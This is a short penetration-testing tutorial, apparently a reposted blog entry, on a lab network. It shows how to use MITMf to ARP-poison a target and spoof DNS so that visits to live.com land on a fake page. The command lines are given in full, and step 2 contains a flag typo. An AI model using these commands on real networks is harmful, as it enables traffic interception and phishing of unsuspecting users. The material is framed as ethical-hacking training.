首页 > Web开发 > 详细

Ethical Hacking - NETWORK PENETRATION TESTING(19)

时间:2019-12-11 22:12:35      阅读:93      评论:0      收藏:0      [点我收藏+]

MITM-DNS Spoofing

DNS Spoofing allows us to redirect any request to a certain domain to another domain, for example we can redirect any request from live.com to a fake page !!

1. Edit DNS settings

leafpad /etc/mitmf/mitms.conf

2. Run ettercap to arp poison the target(s) and enable the dns_spoof plugin.

mitmf --arp --apoof --gateway [GATEWAY IP] --targets [TARGET IP] -i eth0 --dns

 

>>Following is the local index page on Kali Linux.

技术分享图片

>> Modify and save the config file.

技术分享图片

 

 技术分享图片

 

 >>Run the MITMf tool

python2 mitmf.py --arp --spoof --gateway 10.0.0.1 --target 10.0.0.22 -i eth0 --dns

技术分享图片

 

 

 

>>Visit www.live.com on the victim PC. It works.....

技术分享图片

Ethical Hacking - NETWORK PENETRATION TESTING(19)

原文:https://www.cnblogs.com/keepmoving1113/p/12025316.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!